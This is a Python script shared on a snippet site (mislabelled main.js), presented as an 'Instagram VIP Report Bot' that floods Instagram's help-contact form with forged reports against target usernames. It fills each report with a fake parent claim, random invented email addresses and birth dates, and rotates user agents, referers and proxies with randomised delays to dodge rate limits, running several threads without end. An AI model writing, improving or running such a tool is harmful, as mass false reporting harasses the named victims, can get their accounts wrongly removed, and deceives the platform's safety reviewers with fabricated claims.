SnIPPETsX

SnIPPETsX › CONFIGURATION

CONFIGURATION

Python · updated Oct 14, 2026 · 419 lines

main.js

import requests
import random
import time
import threading
import json
import os
from datetime import datetime
from collections import deque

# ==========================================
# CONFIGURATION
# ==========================================
CONFIG = {
    "THREAD_COUNT": 5,          # Number of simultaneous reports
    "MIN_DELAY": 1.5,           # Minimum seconds between reports per thread
    "MAX_DELAY": 3.5,           # Maximum seconds between reports per thread
    "TIMEOUT": 10,              # Seconds to wait for server response
    "PROXY_FILE": "proxies.txt",# Optional: One proxy per line (http://ip:port)
    "TARGETS_FILE": "targets.txt", # Optional: One username per line
    "USE_PROXIES": True,        # Set to False if no proxies.txt exists
    "DYNAMIC_LSD": False        # Set to True to try fetching fresh LSD token (slower but more stable)
}

# ==========================================
# COLORS & UI
# ==========================================
class Colors:
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    GREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def print_banner():
    banner = f"""
{Colors.HEADER}{Colors.BOLD}
=======================================================
   Instagram VIP Report Bot - Ultimate Edition
   Dev: NoTrack | Version: 2.0 Pro
=======================================================
{Colors.ENDC}
"""
    print(banner)

def log(msg, color=Colors.ENDC):
    print(f"{color}[{datetime.now().strftime('%H:%M:%S')}] {msg}{Colors.ENDC}")

# ==========================================
# USER AGENTS & DATA
# ==========================================
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (iPad; CPU OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1"
]

REFERER_LINKS = [
    "https://help.instagram.com/contact/723586364339719",
    "https://help.instagram.com/contact/383679321740945",
    "https://help.instagram.com/contact/188391886430254",
    "https://help.instagram.com/contact/334013860059654",
    "https://help.instagram.com/contact/1474899482730688",
    "https://help.instagram.com/contact/230197320740525",
    "https://help.instagram.com/contact/552695131608132",
    "https://help.instagram.com/contact/636276399721841",
    "https://help.instagram.com/contact/606967319425038",
    "https://help.instagram.com/contact/1652567838289083",
    "https://help.instagram.com/contact/1784471218363829",
    "https://help.instagram.com/contact/497750147277190",
    "https://help.instagram.com/contact/512241091300432",
    "https://help.instagram.com/contact/765226144067728",
    "https://help.instagram.com/contact/778323897161220",
    "https://help.instagram.com/contact/650726422542180",
    "https://help.instagram.com/contact/653100351788502",
    "https://help.instagram.com/contact/267832646728129",
    "https://help.instagram.com/contact/396169787183059",
    "https://help.instagram.com/contact/437908793443074",
    "https://help.instagram.com/contact/233964459562201",
    "https://help.instagram.com/contact/454951664593143",
    "https://help.instagram.com/contact/151081798582137",
    "https://help.instagram.com/contact/364531043625021",
    "https://help.instagram.com/contact/395937690414650",
    "https://help.instagram.com/contact/209046679279097",
    "https://help.instagram.com/contact/272476913194545",
    "https://help.instagram.com/contact/186020218683230",
    "https://help.instagram.com/contact/814820110107093",
    "https://help.instagram.com/contact/505535973176353",
    "https://help.instagram.com/contact/580528612772075",
    "https://help.instagram.com/contact/605061389522336",
    "https://help.instagram.com/contact/592094726090049",
    "https://help.instagram.com/contact/580116175387396",
    "https://help.instagram.com/contact/462746146116639",
    "https://help.instagram.com/contact/580115868317474",
    "https://help.instagram.com/contact/361042984013948",
    "https://help.instagram.com/contact/505984764165828",
    "https://help.instagram.com/contact/563430433938540",
    "https://help.instagram.com/contact/602658143585565",
    "https://help.instagram.com/contact/493074953351796",
    "https://help.instagram.com/contact/384292982852347",
    "https://help.instagram.com/contact/497438953642250",
    "https://help.instagram.com/contact/165828726894770",
    "https://help.instagram.com/contact/368191326593075",
    "https://help.instagram.com/contact/446663175382270",
    "https://help.instagram.com/contact/290666591035380",
    "https://help.instagram.com/contact/122717417885747",
    "https://help.instagram.com/contact/293397334168432",
    "https://help.instagram.com/contact/1610459702591585",
    "https://help.instagram.com/contact/370054663112398",
    "https://help.instagram.com/contact/374546259294234",
    "https://help.instagram.com/contact/730583250290732",
    "https://help.instagram.com/contact/235841422088089",
    "https://help.instagram.com/contact/568100683269916",
    "https://help.instagram.com/contact/737505203584103",
    "https://help.instagram.com/contact/141666310266476",
    "https://help.instagram.com/contact/571067572715661",
    "https://help.instagram.com/contact/603714627265108",
    "https://help.instagram.com/contact/687869394059437",
    "https://help.instagram.com/contact/514824430907801",
    "https://help.instagram.com/contact/445209106759153",
    "https://help.instagram.com/contact/300763508279437",
    "https://help.instagram.com/contact/738896273560352",
    "https://help.instagram.com/contact/569109753745451",
    "https://help.instagram.com/contact/553131166266088",
    "https://www.instagram.com/hacked/",
    "https://help.instagram.com/contact/316223206110140",
    "https://help.instagram.com/contact/3373960976225657",
    "https://help.instagram.com/contact/927158401651548",
    "https://help.instagram.com/contact/494211074744109",
    "https://help.instagram.com/contact/112663242701889",
    "https://help.instagram.com/contact/1099806597503048",
    "https://help.instagram.com/contact/514702675876973",
    "https://help.instagram.com/contact/260835118618832",
    "https://help.instagram.com/contact/144114363617050",
    "https://help.instagram.com/contact/626506092555644",
    "https://help.instagram.com/contact/520014563974356",
    "https://help.instagram.com/contact/142014658387178",
]

EMAIL_DOMAINS = [
    "@gmail.com", "@outlook.com", "@yahoo.com", "@hotmail.com", "@aol.com", "@icloud.com",
    "@mail.com", "@live.com", "@zoho.com", "@protonmail.com", "@yandex.com", "@gmx.com",
    "@mail.ru", "@inbox.com", "@fastmail.com", "@hushmail.com", "@tutanota.com", "@gmx.de",
    "@yahoo.co.uk", "@rediffmail.com", "@seznam.cz", "@qq.com", "@163.com", "@sohu.com",
    "@yeah.net", "@126.com", "@naver.com", "@daum.net", "@web.de", "@orange.fr",
    "@libero.it", "@t-online.de", "@sky.com", "@talktalk.net", "@yahoo.co.in",
    "@rogers.com", "@bell.net", "@shaw.ca", "@hotmail.co.uk", "@mailbox.org",
    "@zoho.in", "@yandex.ru", "@microsoft.com", "@comcast.net", "@earthlink.net",
    "@verizon.net", "@sbcglobal.net", "@charter.net", "@cox.net", "@frontier.com",
    "@optimum.net", "@freenet.de", "@blueyonder.co.uk", "@telus.net", "@netzero.net",
    "@aim.com", "@gmx.fr", "@laposte.net", "@freenom.com", "@fastmail.fm",
    "@openmailbox.org", "@mailinator.com", "@guerrillamail.com"
]

# ==========================================
# HELPER FUNCTIONS
# ==========================================

def generate_random_email():
    chars = 'qwertyuiopasdfghjklzxcvbnm1234567890'
    name = "".join(random.choice(chars) for _ in range(random.randint(6, 10)))
    domain = random.choice(EMAIL_DOMAINS)
    return f"{name}{domain}"

def generate_random_date():
    year = random.randint(2010, 2024)
    month = random.randint(1, 12)
    day = random.randint(1, 28)
    return f"{year}-{month:02d}-{day:02d}"

def get_proxies():
    proxies = []
    if CONFIG["USE_PROXIES"] and os.path.exists(CONFIG["PROXY_FILE"]):
        with open(CONFIG["PROXY_FILE"], 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    proxies.append(line)
        log(f"Loaded {len(proxies)} proxies.", Colors.GREEN)
    else:
        log("Using IP or no proxy file found.", Colors.WARNING)
    return proxies

def get_targets():
    targets = []
    # Try file first
    if os.path.exists(CONFIG["TARGETS_FILE"]):
        with open(CONFIG["TARGETS_FILE"], 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    targets.append(line)
        log(f"Loaded {len(targets)} targets from {CONFIG['TARGETS_FILE']}.", Colors.GREEN)
    
    # If file is empty or doesn't exist, ask user
    if not targets:
        raw_input = input(f"{Colors.BLUE}[+] Enter Target Username (or leave blank to use 'user' var): {Colors.ENDC}")
        if raw_input:
            targets.append(raw_input)
        else:
            log("No target entered! Exiting.", Colors.FAIL)
            return []
    return targets

# ==========================================
# CORE BOT LOGIC
# ==========================================

class InstagramReporter:
    def __init__(self):
        self.proxies_list = get_proxies()
        self.success_count = 0
        self.error_count = 0
        self.total_count = 0
        self.lock = threading.Lock()
        self.start_time = time.time()

    def get_lsd_token(self):
        if not CONFIG["DYNAMIC_LSD"]:
            return "AVq5uabXj48" # Static fallback
        
        try:
            # Fetch the help page to extract the lsd token from the script tag
            resp = requests.get("https://help.instagram.com/contact/723586364339719", 
                                headers={"User-Agent": random.choice(USER_AGENTS)}, 
                                timeout=CONFIG["TIMEOUT"])
            # Simple regex-like extraction for 'lsd'
            start = resp.text.find('"lsd":"') + 6
            if start > 5:
                end = resp.text.find('"}', start)
                return resp.text[start:end]
        except Exception as e:
            log(f"Dynamic LSD Error: {e}", Colors.WARNING)
        return "AVq5uabXj48"

    def send_report(self, username, full_name):
        # 1. Generate Random Data
        user_agent = random.choice(USER_AGENTS)
        referer = random.choice(REFERER_LINKS)
        email = generate_random_email()
        date = generate_random_date()
        lsd = self.get_lsd_token()
        
        # 2. Prepare Headers
        headers = {
            "Host": "help.instagram.com",
            "x-fb-lsd": lsd,
            "x-asbd-id": "129477",
            "sec-ch-ua-mobile": "?1",
            "content-type": "application/x-www-form-urlencoded",
            "user-agent": user_agent,
            "origin": "https://help.instagram.com",
            "sec-fetch-site": "same-origin",
            "sec-fetch-mode": "cors",
            "sec-fetch-dest": "empty",
            "referer": referer,
            "accept-encoding": "gzip, deflate, br",
            "accept-language": "en-US,en;q=0.9,ar;q=0.8",
            "cookie": "ig_nrcb=1; ig_did=ABC123" # Simplified cookie
        }

        # 3. Prepare Payload
        # Note: Field IDs might change, but these are standard for the "Child Account" or "Profile" report
        payload = f'jazoest={random.randint(1000, 9999)}&lsd={lsd}&Field258021274378282={username}&Field735407019826414={full_name}&Field506888789421014[year]={date.split("-")[0]}&Field506888789421014[month]={date.split("-")[1]}&Field506888789421014[day]={date.split("-")[2]}&Field294540267362199=Parent&inputEmail={email}&support_form_id=723586364339719&support_form_locale_id=en_US'

        # 4. Select Proxy
        proxies = None
        if self.proxies_list:
            proxy_addr = random.choice(self.proxies_list)
            proxies = {"https": proxy_addr, "http": proxy_addr}

        try:
            # 5. Send Request
            response = requests.post(
                'https://help.instagram.com/ajax/help/contact/submit/page',
                data=payload,
                headers=headers,
                proxies=proxies,
                timeout=CONFIG["TIMEOUT"]
            )

            # 6. Analyze Response
            # Instagram often returns JSON wrapped in a callback or raw JSON
            try:
                # Try parsing as JSON
                # Sometimes it's wrapped like: {"__arw": [{"lsd":"...", "payload":{...}}]}
                json_data = response.json()
                
                success = False
                status_msg = "Unknown"

                # Deep dive for success flag
                if "__arw" in json_data and len(json_data["__arw"]) > 0:
                    payload_data = json_data["__arw"][0].get("payload", {})
                    if payload_data.get("success"):
                        success = True
                        status_msg = "Accepted"
                    else:
                        status_msg = json_data["__arw"][0].get("message", "Rejected")
                elif "success" in json_data:
                    if json_data["success"]:
                        success = True
                        status_msg = "Accepted"
                    else:
                        status_msg = json_data.get("message", "Rejected")
                else:
                    # Fallback to status code
                    if response.status_code == 200:
                        success = True
                        status_msg = "200 OK"
                    else:
                        status_msg = f"HTTP {response.status_code}"

                # Update Stats
                with self.lock:
                    self.total_count += 1
                    if success:
                        self.success_count += 1
                        color = Colors.GREEN
                        symbol = "√"
                    else:
                        self.error_count += 1
                        color = Colors.FAIL
                        symbol = "×"
                    
                    elapsed = time.time() - self.start_time
                    speed = self.total_count / (elapsed / 60) if elapsed > 0 else 0
                    
                    log(f"{symbol} Report Sent: {username} | Status: {status_msg} | Speed: {speed:.1f}/min", color)

            except json.JSONDecodeError:
                # If not JSON, check status code
                with self.lock:
                    self.total_count += 1
                    if response.status_code == 200:
                        self.success_count += 1
                        log(f"√ Report Sent: {username} | HTTP 200", Colors.GREEN)
                    else:
                        self.error_count += 1
                        log(f"× Report Error: {username} | HTTP {response.status_code}", Colors.FAIL)

        except requests.exceptions.Timeout:
            with self.lock:
                self.error_count += 1
                log(f"× Timeout: {username}", Colors.WARNING)
        except requests.exceptions.ConnectionError:
            with self.lock:
                self.error_count += 1
                log(f"× Connection Error: {username} (Check Proxy)", Colors.WARNING)
        except Exception as e:
            with self.lock:
                self.error_count += 1
                log(f"× Error: {str(e)[:50]}", Colors.FAIL)

    def worker(self, username, full_name):
        while True:
            self.send_report(username, full_name)
            # Random delay to mimic human behavior
            delay = random.uniform(CONFIG["MIN_DELAY"], CONFIG["MAX_DELAY"])
            time.sleep(delay)

def main():
    print_banner()
    
    # 1. Get Targets
    targets = get_targets()
    if not targets:
        return

    # 2. Get Victim Details (Can be customized per target in advanced versions)
    victim_name = input(f"{Colors.BLUE}[+] Enter Victim Display Name (e.g., John Doe): {Colors.ENDC}")
    if not victim_name:
        victim_name = "Instagram User"

    # 3. Initialize Bot
    bot = InstagramReporter()
    
    # 4. Start Threads
    threads = []
    log(f"Starting {CONFIG['THREAD_COUNT']} threads for target(s)...", Colors.CYAN)
    
    for target in targets:
        t = threading.Thread(target=bot.worker, args=(target, victim_name), daemon=True)
        t.start()
        threads.append(t)
        # Stagger start slightly
        time.sleep(0.2)

    # 5. Live Stats Loop (Optional: Print stats every 5 seconds)
    try:
        while True:
            time.sleep(5)
            elapsed = time.time() - bot.start_time
            speed = bot.total_count / (elapsed / 60) if elapsed > 0 else 0
            print(f"\r{Colors.HEADER}[Stats] Sent: {bot.success_count} | Errors: {bot.error_count} | Speed: {speed:.1f} RPM{Colors.ENDC}", end="", flush=True)
    except KeyboardInterrupt:
        print() # New line after stats
        log("Stopping bot...", Colors.WARNING)
        # Threads are daemon, so they die when main thread dies
        print(f"""
{Colors.GREEN}=======================================================
                    FINAL REPORT
=======================================================
{Colors.GREEN}Total Reports Sent : {bot.total_count}
{Colors.GREEN}Successful         : {bot.success_count}
{Colors.FAIL}Errors             : {bot.error_count}
{Colors.CYAN}Speed              : {bot.total_count / ((time.time() - bot.start_time)/60):.1f} RPM
{Colors.GREEN}=======================================================
{Colors.ENDC}
""")

if __name__ == "__main__":
    main()

Run this Python snippet

Open this snippet on SnIPPETsX to run the Python code in your browser, edit it together with others in real time, or fork it into your own copy. No install or account is needed.